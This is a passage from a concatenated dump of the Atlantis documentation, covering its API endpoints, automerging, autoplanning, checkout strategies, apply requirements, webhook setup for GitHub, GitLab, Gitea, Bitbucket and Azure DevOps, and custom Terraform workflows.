of the [Server Configuration](server-configuration.md#api-secret) * Pass `X-Atlantis-Token` with the same secret in the request header ::: ### POST /api/plan #### Description Execute [atlantis plan](using-atlantis.md#atlantis-plan) on the specified repository. #### Parameters | Name | Type | Required | Description | |------------|----------|----------|------------------------------------------| | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | []string | No | List of project names to run the plan | | Paths | []Path | No | Paths to the projects to run the plan | | PR | int | No | Pull Request number | ::: tip NOTE At least one of `Projects` or `Paths` must be specified. ::: #### Path Similar to the [Options](using-atlantis.md#options) of `atlantis plan`. Path specifies which directory/workspace within the repository to run the plan. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | |-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------| | Directory | string | No | Which directory to run plan in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request ```shell curl --request POST 'https:///api/plan' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{ "Directory": ".", "Workspace": "default" }], "PR": 2 }' ``` #### Sample Response ```json { "Error": null, "Failure": "", "ProjectResults": [ { "Command": 1, "RepoRelDir": ".", "Workspace": "default", "Error": null, "Failure": "", "PlanSuccess": { "TerraformOutput": "", "LockURL": "", "RePlanCmd": "atlantis plan -d .", "ApplyCmd": "atlantis apply -d .", "HasDiverged": false }, "PolicyCheckSuccess": null, "ApplySuccess": "", "VersionSuccess": "", "ProjectName": "" } ], "PlansDeleted": false } ``` ### POST /api/apply #### Description Execute [atlantis apply](using-atlantis.md#atlantis-apply) on the specified repository. #### Parameters | Name | Type | Required | Description | |------------|----------|----------|------------------------------------------| | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | []string | No | List of project names to run the apply | | Paths | []Path | No | Paths to the projects to run the apply | | PR | int | No | Pull Request number | ::: tip NOTE At least one of `Projects` or `Paths` must be specified. ::: #### Path Similar to the [Options](using-atlantis.md#options-1) of `atlantis apply`. Path specifies which directory/workspace within the repository to run the apply. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | |-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------| | Directory | string | No | Which directory to run apply in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request ```shell curl --request POST 'https:///api/apply' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{ "Directory": ".", "Workspace": "default" }], "PR": 2 }' ``` #### Sample Response ```json { "Error": null, "Failure": "", "ProjectResults": [ { "Command": 0, "RepoRelDir": ".", "Workspace": "default", "Error": null, "Failure": "", "PlanSuccess": null, "PolicyCheckSuccess": null, "ApplySuccess": "", "VersionSuccess": "", "ProjectName": "" } ], "PlansDeleted": false } ``` ## Other Endpoints The endpoints listed in this section are non-destructive and therefore don't require authentication nor special secret token. ### GET /api/locks #### Description List the currently held project locks. #### Sample Request ```shell curl --request GET 'https:///api/locks' ``` #### Sample Response ```json { "Locks": [ { "Name": "lock-id", "ProjectName": "terraform", "ProjectRepo": "owner/repo", "ProjectRepoPath": "/path", "PullID": "123", "PullURL": "url", "User": "jdoe", "Workspace": "default", "Time": "2025-02-13T16:47:42.040856-08:00" } ] } ``` ### GET /status #### Description Return the status of the Atlantis server. #### Sample Request ```shell curl --request GET 'https:///status' ``` #### Sample Response ```json { "shutting_down": false, "in_progress_operations": 0, "version": "0.22.3" } ``` ### GET /healthz #### Description Serves as the health-check endpoint for a containerized Atlantis server. #### Sample Request ```shell curl --request GET 'https:///healthz' ``` #### Sample Response ```json { "status": "ok" } ``` ### GET /debug/pprof If `--enable-profiling-api` is set to true, it adds endpoints under this path to expose server's profiling data. See [profiling Go programs](https://go.dev/blog/pprof) for more information. ================================================ FILE: runatlantis.io/docs/apply-requirements.md ================================================ # Apply Requirements :::warning REDIRECT This page is moved to [Command Requirements](command-requirements.md). ::: ================================================ FILE: runatlantis.io/docs/automerging.md ================================================ # Automerging Atlantis can be configured to automatically merge a pull request after all plans have been successfully applied. ![Automerge](./images/automerge.png) ## How To Enable Automerging can be enabled either by: 1. Passing the `--automerge` flag to `atlantis server`. This sets the parameter globally; however, explicit declaration in the repo config will be respected and take priority. 1. Setting `automerge: true` in the repo's `atlantis.yaml` file: ```yaml version: 3 automerge: true projects: - dir: . ``` :::tip NOTE If a repo has an `atlantis.yaml` file, then each project in the repo needs to be configured under the `projects` key. ::: ## How to Disable If automerge is enabled, you can disable it for a single `atlantis apply` command with the `--auto-merge-disabled` option. ## How to set the merge method for automerge If automerge is enabled, you can use the `--auto-merge-method` option for the `atlantis apply` command to specify which merge method use. ```shell atlantis apply --auto-merge-method ``` The `method` must be one of: - merge - rebase - squash This is currently only implemented for the GitHub VCS. ## Requirements ### All Plans Must Succeed When automerge is enabled, **all plans** in a pull request **must succeed** before **any** plans can be applied. For example, imagine this scenario: 1. I open a pull request that makes changes to two Terraform projects, in `dir1/` and `dir2/`. 1. The plan for `dir2/` fails because my Terraform syntax is wrong. In this scenario, I can't run ```shell atlantis apply -d dir1 ``` Even though that plan succeeded, because **all** plans must succeed for **any** plans to be saved. Once I fix the issue in `dir2`, I can push a new commit which will trigger an autoplan. Then I will be able to apply both plans. ### All Plans must be applied If multiple projects/dirs/workspaces are configured to be planned automatically, then they should all be applied before Atlantis automatically merges the PR. ## Permissions The Atlantis VCS user must have the ability to merge pull requests. ================================================ FILE: runatlantis.io/docs/autoplanning.md ================================================ # Autoplanning On any **new** pull request or **new commit** to an existing pull request, Atlantis will attempt to run `terraform plan` in the directories it thinks hold modified Terraform projects. The algorithm it uses is as follows: 1. Get list of all modified files in pull request 1. Filter to those containing `.tf` 1. Get the directories that those files are in 1. If the directory path doesn't contain `modules/` then try to run `plan` in that directory 1. If it does contain `modules/` look at the directory one level above `modules/`. If it contains a `main.tf` run plan in that directory, otherwise ignore the change (see below for exceptions). ## Example Given the directory structure: ```plain . ├── modules │   └── module1 │   └── main.tf └── project1 ├── main.tf └── modules └── module1 └── main.tf ``` * If `project1/main.tf` were modified, we would run `plan` in `project1` * If `modules/module1/main.tf` were modified, we would not automatically run `plan` because we couldn't determine the location of the terraform project * You could use an [atlantis.yaml](repo-level-atlantis-yaml.md#configuring-planning) file to specify which projects to plan when this module changed * You could enable [module autoplanning](server-configuration.md#autoplan-modules) which indexes projects to their local module dependencies. * Or you could manually plan with `atlantis plan -d ` * If `project1/modules/module1/main.tf` were modified, we would look one level above `project1/modules` into `project1/`, see that there was a `main.tf` file and so run plan in `project1/` ## Bitbucket-Specific Notes Bitbucket does not have a webhook that triggers only upon a new PR or commit. To fix this we cache the last commit to see if it has changed. If the cache is emptied, Atlantis will think your commit is new and you may see extra plans. This scenario can happen if: * Atlantis restarts * You are running multiple Atlantis instances behind a load balancer ## Customizing If you would like to customize how Atlantis determines which directory to run in or disable it all together you need to create an `atlantis.yaml` file. See * [Disabling Autoplanning](repo-level-atlantis-yaml.md#disabling-autoplanning) * [Configuring Planning](repo-level-atlantis-yaml.md#configuring-planning) ================================================ FILE: runatlantis.io/docs/checkout-strategy.md ================================================ # Checkout Strategy You can configure how Atlantis checks out the code from your pull request via the `--checkout-strategy` flag or the `ATLANTIS_CHECKOUT_STRATEGY` environment variable that get passed to the `atlantis server` command. Atlantis supports `branch` and `merge` strategies. ## Branch If set to `branch` (the default), Atlantis will check out the source branch of the pull request. For example, given the following git history: ![Git History](./images/branch-strategy.png) If the pull request was asking to merge `branch` into `main`, Atlantis would check out `branch` at commit `C3`. ## Merge The problem with the `branch` strategy, is that if users push branches that are out of date with `main`, then their `terraform plan` could be deleting some resources that were configured in the main branch. For example, in the above diagram if commits `C4` and `C5` have modified the terraform state and added new resources, then when Atlantis runs `terraform plan` at commit `C3`, because the code doesn't have the changes from `C4` and `C5`, Terraform will try to delete those resources. To fix this, users could merge `main` into their branch, *or* you can run Atlantis with `--checkout-strategy=merge`. With this strategy, Atlantis will try to perform a merge locally by: * Checking out the destination branch of the pull request (ex. `main`) * Locally performing a `git merge {source branch}` * Then running its Terraform commands In this example, the code that Atlantis would be operating on would look like: ![Git History](./images/merge-strategy.png) Where Atlantis is using its local commit `C6`. :::tip NOTE Atlantis doesn't actually commit this merge anywhere. It just uses it locally. ::: :::tip NOTE In the case of transient errors when updating the merged branch, Atlantis will error for safety to avoid using a stale branch. ::: :::warning Atlantis only performs this merge during the `terraform plan` phase. If another commit is pushed to `main` **after** Atlantis runs `plan`, nothing will happen. ::: To optimize cloning time, Atlantis can perform a shallow clone by specifying the `--checkout-depth` flag. The cloning is performed in a following manner: * Shallow clone of the default branch is performed with depth of `--checkout-depth` value of zero (full clone). * `branch` is retrieved, including the same amount of commits. * Merge base of the default branch and `branch` is checked for existence in the shallow clone. * If the merge base is not present, it means that either of the branches are ahead of the merge base by more than `--checkout-depth` commits. In this case full repo history is fetched. If the commit history often diverges by more than the default checkout depth then the `--checkout-depth` flag should be tuned to avoid full fetches. ================================================ FILE: runatlantis.io/docs/command-requirements.md ================================================ # Command Requirements ## Intro Atlantis requires certain conditions be satisfied **before** `atlantis apply` and `atlantis import` commands can be run: * [Approved](#approved) – requires pull requests to be approved by at least one user other than the author * [Mergeable](#mergeable) – requires pull requests to be able to be merged * [UnDiverged](#undiverged) - requires pull requests to be ahead of the base branch ## What Happens If The Requirement Is Not Met? If the requirement is not met, users will see an error if they try to run `atlantis apply`: ![Mergeable Apply Requirement](./images/apply-requirement.png) ## Supported Requirements ### Approved The `approved` requirement will prevent applies unless the pull request is approved by at least one person other than the author. #### Usage Set the `approved` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: ```yaml repos: - id: /.*/ apply_requirements: [approved] ``` 1. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in the `repos.yaml` config: **repos.yaml** ```yaml repos: - id: /.*/ allowed_overrides: [apply_requirements] ``` **atlantis.yaml** ```yaml version: 3 projects: - dir: . apply_requirements: [approved] ``` #### Meaning Each VCS provider has different rules around who can approve: * **GitHub** – **Any user with read permissions** to the repo can approve a pull request * **GitLab** – The user who can approve can be set in the [repo settings](https://docs.gitlab.com/user/project/merge_requests/approvals/) * **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but Atlantis does not count that as an approval and requires an approval from at least one user that is not the author of the pull request * **Azure DevOps** – **All builtin groups include the "Contribute to pull requests"** permission and can approve a pull request :::tip Tip To require **certain people** to approve the pull request, look at the [mergeable](#mergeable) requirement. ::: ### Mergeable The `mergeable` requirement will prevent applies unless a pull request is able to be merged. #### Usage Set the `mergeable` requirement by: 1. Creating a `repos.yaml` file with the `apply_requirements` key: ```yaml repos: - id: /.*/ apply_requirements: [mergeable] ``` 1. Or by allowing an `atlantis.yaml` file to specify `plan_requirements`, `apply_requirements` and `import_requirements` keys in the `repos.yaml` config: **repos.yaml** ```yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` **atlantis.yaml** ```yaml version: 3 projects: - dir: . plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ``` #### Meaning Each VCS provider has a different concept of "mergeability": ::: warning Some VCS providers have a feature for branch protection to control "mergeability". To use it, limit the base branch so to not bypass the branch protection. See also the `branch` keyword in [Server Side Repo Config](server-side-repo-config.md#reference) for more details. ::: #### GitHub In GitHub, if you're not using [Protected Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) then all pull requests are mergeable unless there is a conflict. If you set up Protected Branches then you can enforce: * Requiring certain status checks to be passing * Requiring certain people to have reviewed and approved the pull request * Requiring `CODEOWNERS` to have reviewed and approved the pull request * Requiring that the branch is up-to-date with `main` See [GitHub: About protected branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) for more details. ::: warning If you have the **Restrict who can push to this branch** requirement, then the Atlantis user needs to be part of that list in order for it to consider a pull request mergeable. ::: ::: warning If you set `atlantis/apply` to the mergeable requirement, use the `--gh-allow-mergeable-bypass-apply` flag or set the `ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true` environment variable. This flag and environment variable allow the mergeable check before executing `atlantis apply` to skip checking the status of `atlantis/apply`. ::: #### GitLab For GitLab, a merge request will be merged if all the following are true: * There are no conflicts * No unresolved discussions, if it is a project requirement * All necessary approvers have approved the pull request * Is not behind the branch it's merging into, if the project's [Merge Methods](https://docs.gitlab.com/user/project/merge_requests/methods/) are "Fast-forward merge" or "Merge commit with semi-linear history" For pipelines, if the project requires that pipelines must succeed, all builds except the apply command status will be checked. For Jobs with allow_failure setting set to true, will be ignored. If the pipeline has been skipped and the project allows merging, it will be marked as mergeable. #### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash) For Bitbucket, we just check if there is a conflict that is preventing a merge. We don't check anything else because Bitbucket's API doesn't support it. If you need a specific check, please [open an issue](https://github.com/runatlantis/atlantis/issues/new). #### Azure DevOps In Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to "Complete" right away, or set "Auto-Complete", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops). [Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can: * Require a minimum number of reviewers * Allow users to approve their own changes * Allow completion even if some reviewers vote "Waiting" or "Reject" * Reset code reviewer votes when there are new changes * Require a specific merge strategy (squash, rebase, etc.) ::: warning At this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge. ::: ### UnDiverged Prevent applies if there are any changes on the base branch since the most recent plan. Applies to `merge` checkout strategy only which you need to set via `--checkout-strategy` flag. #### Usage You can set the `undiverged` requirement by: 1. Creating a `repos.yaml` file with `plan_requirements`, `apply_requirements` and `import_requirements` keys: ```yaml repos: - id: /.*/ plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] ``` 1. Or by allowing an `atlantis.yaml` file to specify the `plan_requirements`, `apply_requirements` and `import_requirements` keys in your `repos.yaml` config: **repos.yaml** ```yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` **atlantis.yaml** ```yaml version: 3 projects: - dir: . plan_requirements: [undiverged] apply_requirements: [undiverged] import_requirements: [undiverged] ``` #### Meaning The `merge` checkout strategy creates a temporary merge commit and runs the `plan` on the Atlantis local version of the PR source and destination branch. The local destination branch can become out of date since changes to the destination branch are not fetched if there are no changes to the source branch. `undiverged` enforces that Atlantis local version of main is up to date with remote so that the state of the source during the `apply` is identical to that if you were to merge the PR at that time. In the case of a transient error, Atlantis assumes divergence for safety and errors. ## Setting Command Requirements As mentioned above, you can set command requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml` allows the override. ### Flags Override Flags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always having that apply requirement set. ### Project-Specific Settings If you only want some projects/repos to have apply requirements, then you must 1. Specify which repos have which requirements via the `repos.yaml` file. ```yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Regex that defaults all repos to requiring approval - id: /github.com/runatlantis/.*/ # Regex to match any repo under the atlantis namespace, and not require approval # except for repos that might match later in the chain plan_requirements: [] apply_requirements: [] import_requirements: [] - id: github.com/runatlantis/atlantis plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Exact string match of the github.com/runatlantis/atlantis repo # that sets apply_requirements to approved ``` 1. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing `plan_requirements`, `apply_requirements` and `import_requirements` to be set in `atlantis.yaml` by the server side `repos.yaml` config. For example if I have two directories, `staging` and `production`, I might use: **repos.yaml:** ```yaml repos: - id: /.*/ allowed_overrides: [plan_requirements, apply_requirements, import_requirements] # Allow any repo to specify apply_requirements in atlantis.yaml ``` **atlantis.yaml:** ```yaml version: 3 projects: - dir: staging # By default, plan_requirements, apply_requirements and import_requirements are empty so this # isn't strictly necessary. plan_requirements: [] apply_requirements: [] import_requirements: [] - dir: production # This requirement will only apply to the # production directory. plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ``` ### Multiple Requirements You can set any or all of `approved`, `mergeable`, and `undiverged` requirements. ## Who Can Apply? Once the apply requirement is satisfied, **anyone** that can comment on the pull request can run the actual `atlantis apply` command. ## Next Steps * For more information on GitHub pull request reviews and approvals see: [GitHub: About pull request reviews](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) * For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [GitLab: Merge request approvals](https://docs.gitlab.com/user/project/merge_requests/approvals/). * For more information on Bitbucket pull request reviews and approvals see: [BitBucket: Use pull requests for code review](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html) * For more information on Azure DevOps pull request reviews and approvals see: [Azure DevOps: Create pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops&tabs=browser) ================================================ FILE: runatlantis.io/docs/configuring-atlantis.md ================================================ # Configuring Atlantis There are three methods for configuring Atlantis: 1. Passing flags to the `atlantis server` command 1. Creating a server-side repo config file and using the `--repo-config` flag 1. Placing an `atlantis.yaml` file at the root of your Terraform repositories ## Flags Flags to `atlantis server` are used to configure the global operation of Atlantis, for example setting credentials for your Git Host or configuring SSL certs. See [Server Configuration](server-configuration.md) for more details. ## Server-Side Repo Config A Server-Side Repo Config file is used to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. See [Server-Side Repo Config](server-side-repo-config.md) for more details. ## Repo-Level `atlantis.yaml` Files `atlantis.yaml` files placed at the root of your Terraform repos can be used to change the default Atlantis behaviour for each repo. See [Repo-Level atlantis.yaml Files](repo-level-atlantis-yaml.md) for more details. ================================================ FILE: runatlantis.io/docs/configuring-webhooks.md ================================================ # Configuring Webhooks Atlantis needs to receive Webhooks from your Git host so that it can respond to pull request events. :::tip Prerequisites * You have created an [access credential](access-credentials.md) * You have created a [webhook secret](webhook-secrets.md) * You have [deployed](deployment.md) Atlantis and have a url for it ::: See the instructions for your specific provider below. ## GitHub/GitHub Enterprise You can install your webhook at the [organization](https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts) level, or for each individual repository. ::: tip NOTE If only some of the repos in your organization are to be managed by Atlantis, then you may want to only install on specific repos for now. ::: When authenticating as a GitHub App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [GitHub App setup](access-credentials.md#github-app) section for instructions on how to do so. If you're installing on the organization, navigate to your organization's page and click **Settings**. If installing on a single repository, navigate to the repository home page and click **Settings**. * Select **Webhooks** or **Hooks** in the sidebar * Click **Add webhook** * set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Content type** to `application/json` * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * select **Let me select individual events** * check the boxes * **Pull request reviews** * **Pushes** * **Issue comments** * **Pull requests** * leave **Active** checked * click **Add webhook** * See [Next Steps](#next-steps) ## GitLab If you're using GitLab, navigate to your project's home page in GitLab * Click **Settings > Webhooks** in the sidebar * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret Token** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * check the boxes * **Push events** * **Comments** * **Merge Request events** * leave **Enable SSL verification** checked * click **Add webhook** * See [Next Steps](#next-steps) ## Gitea If you're using Gitea, navigate to your project's home page in Gitea * Click **Settings > Webhooks** in the top- and then sidebar * Click **Add webhook > Gitea** (Gitea webhooks are service specific, but this works) * set **Target URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Select **Custom Events...** * Check the boxes * **Repository events > Push** * **Issue events > Issue Comment** * **Pull Request events > Pull Request** * **Pull Request events > Pull Request Comment** * **Pull Request events > Pull Request Reviewed** * **Pull Request events > Pull Request Synchronized** * Leave **Active** checked * Click **Add Webhook** * See [Next Steps](#next-steps) ## Bitbucket Cloud (bitbucket.org) * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Add webhook** * Enter "Atlantis" for **Title** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * Keep **Status** as Active * Don't check **Skip certificate validation** because NGROK has a valid cert. * Select **Choose from a full list of triggers** * Under **Repository** **un**check everything * Under **Issues** leave everything **un**checked * Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created * Click **Save** Bitbucket Webhook * See [Next Steps](#next-steps) ## Bitbucket Server (aka Stash) * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Create webhook** * Enter "Atlantis" for **Name** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * Double-check you added `/events` to the end of your URL. * Set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Under **Pull Request**, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added * Click **Save**Bitbucket Webhook * See [Next Steps](#next-steps) ## Azure DevOps Webhooks are installed at the [team project](https://docs.microsoft.com/en-us/azure/devops/organizations/projects/about-projects?view=azure-devops) level, but may be restricted to only fire based on events pertaining to [specific repos](https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops) within the team project. * Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName` * Select **Project settings** in the lower-left corner * Select **Service hooks** * If you see the message "You do not have sufficient permissions to view or configure subscriptions." you need to ensure your user is a member of either the organization's "Project Collection Administrators" group or the project's "Project Administrators" group. * To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com//_settings/groups`. Now click on the **\/Project Collection Administrators** group and add your user as a member. * To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com///_settings/permissions`. Now click on the **\/Project Administrators** group and add your user as a member. * Click **Create subscription** or the green plus icon to add a new webhook * Scroll to the bottom of the list and select **Web Hooks** * Click **Next** * Under "Trigger on this type of event", select **Pull request created** * Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository * Click **Next** * Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook. **Be sure to add `/events`** * It is strongly recommended to set a Basic Username and Password for all webhooks * Leave all three drop-down menus for `...to send` set to **All** * Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** for `Pull request commented on` * **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password. * Click **Finish** Repeat the process above until you have webhook subscriptions for the following event types that will trigger on all repositories Atlantis will manage: * Pull request created (you just added this one) * Pull request updated * Pull request commented on * See [Next Steps](#next-steps) ## Next Steps * To verify that Atlantis is receiving your webhooks, create a test pull request to your repo. * You should see the request show up in the Atlantis logs at an `INFO` level. * You'll now need to configure Atlantis to add your [Provider Credentials](provider-credentials.md) ================================================ FILE: runatlantis.io/docs/custom-policy-checks.md ================================================ # Custom Policy Checks If you want to run custom policy tools or scripts instead of the built-in Conftest integration, you can do so by setting the `custom_policy_check` option and running it in a custom workflow. Note: custom policy tool output is simply parsed for "fail" substrings to determine if the policy set passed. This option can be configured either at the server-level in a [repos.yaml config file](server-configuration.md) or at the repo-level in an [atlantis.yaml file](repo-level-atlantis-yaml.md). ## Server-side config example Set the `policy_check` and `custom_policy_check` options to true, and run the custom tool in the policy check steps as seen below. ```yaml repos: - id: /.*/ branch: /^main$/ apply_requirements: [mergeable, undiverged, approved] policy_check: true custom_policy_check: true workflow: custom workflows: custom: policy_check: steps: - show - run: cnspec scan terraform plan $SHOWFILE --policy-bundle example-cnspec-policies.mql.yaml policies: owners: users: - example_ghuser policy_sets: - name: example-set path: example-cnspec-policies.mql.yaml source: local ``` ## Repo-level atlantis.yaml example First, you will need to ensure `custom_policy_check` is within the `allowed_overrides` field of the server-side config. Next, just set the custom option to true on the specific project you want as shown in the example `atlantis.yaml` below: ```yaml version: 3 projects: - name: example dir: ./example custom_policy_check: true autoplan: when_modified: ["*.tf"] ``` ================================================ FILE: runatlantis.io/docs/custom-workflows.md ================================================ # Custom Workflows Custom workflows can be defined to override the default commands that Atlantis runs. ## Usage Custom workflows can be specified in the Server-Side Repo Config or in the Repo-Level `atlantis.yaml` files. **Notes:** * If you want to allow repos to select their own workflows, they must have the `allowed_overrides: [workflow]` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-choose-a-server-side-workflow) for more details. * If in addition you also want to allow repos to define their own workflows, they must have the `allow_custom_workflows: true` setting. See [server-side repo config use cases](server-side-repo-config.md#allow-repos-to-define-their-own-workflows) for more details. ## Use Cases ### .tfvars files ::: tip Before creating custom workflows for `.tfvars` files, consider using Atlantis's automatic `env/{workspace}.tfvars` feature. If you structure your files as `env/staging.tfvars`, `env/production.tfvars`, etc., Atlantis will automatically include them based on the workspace without any configuration. See [Using Atlantis - Automatic Environment Variable Files](using-atlantis.md#automatic-environment-variable-files) for details. ::: Given the structure: ```plain . └── project1 ├── main.tf ├── production.tfvars └── staging.tfvars ``` If you wanted Atlantis to automatically run plan with `-var-file staging.tfvars` and `-var-file production.tfvars` you could define two workflows: ```yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - init - plan: extra_args: ["-var-file", "staging.tfvars"] # NOTE: no need to define the apply stage because it will default # to the normal apply stage. production: plan: steps: - init - plan: extra_args: ["-var-file", "production.tfvars"] apply: steps: - apply: extra_args: ["-var-file", "production.tfvars"] import: steps: - init - import: extra_args: ["-var-file", "production.tfvars"] state_rm: steps: - init - state_rm: extra_args: ["-lock=false"] ``` Then in your repo-level `atlantis.yaml` file, you would reference the workflows: ```yaml # atlantis.yaml version: 3 projects: # If two or more projects have the same dir and workspace, they must also have # a 'name' key to differentiate them. - name: project1-staging dir: project1 workflow: staging - name: project1-production dir: project1 workflow: production workflows: # If you didn't define the workflows in your server-side repos.yaml config, # you would define them here instead. ``` When you want to apply the plans, you can comment ```shell atlantis apply -p project1-staging ``` and ```shell atlantis apply -p project1-production ``` Where `-p` refers to the project name. ### Adding extra arguments to Terraform commands If you need to append flags to `terraform plan` or `apply` temporarily, you can append flags on a comment following `--`, for example commenting: ```shell atlantis plan -- -lock=false ``` If you always need to do this for a project's `init`, `plan` or `apply` commands then you must define a custom workflow and set the `extra_args` key for the command you need to modify. ```yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] ``` If [policy checking](policy-checking.md#how-it-works) is enabled, `extra_args` can also be used to change the default behaviour of conftest. ```yaml workflows: myworkflow: policy_check: steps: - show - policy_check: extra_args: ["--all-namespaces"] ``` ### Custom init/plan/apply Commands If you want to customize `terraform init`, `plan` or `apply` in ways that aren't supported by `extra_args`, you can completely override those commands. In this example, we're not using any of the built-in commands and are instead using our own. ```yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: # If you want to hide command output from Atlantis's PR comment, use # the output option on the run step's expanded form. - run: command: terraform init -input=false output: hide # If you're using workspaces you need to select the workspace using the # $WORKSPACE environment variable. - run: terraform workspace select $WORKSPACE # You MUST output the plan using -out $PLANFILE because Atlantis expects # plans to be in a specific location. - run: terraform plan -input=false -refresh -out $PLANFILE apply: steps: # Again, you must use the $PLANFILE environment variable. - run: terraform apply $PLANFILE ``` ### CDKTF Here are the requirements to enable [CDKTF](https://developer.hashicorp.com/terraform/cdktf) * A custom image with `CDKTF` installed * Add `**/cdk.tf.json` to the list of Atlantis autoplan files. * Set the `atlantis-include-git-untracked-files` flag so that the Terraform files dynamically generated by CDKTF will be added to the Atlantis modified file list. * Use `pre_workflow_hooks` to run `cdktf synth` * Optional: There isn't a requirement to use a repo `atlantis.yaml` but one can be leveraged if needed. #### Custom Image ```dockerfile # Dockerfile FROM ghcr.io/runatlantis/atlantis:v0.19.7 USER root RUN apk add npm && npm i -g cdktf-cli ``` #### Server Config ```bash # env variables ATLANTIS_AUTOPLAN_FILE_LIST="**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true ``` OR `atlantis server --config config.yaml` ```yaml # config.yaml autoplan-file-list: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" include-git-untracked-files: true ``` #### 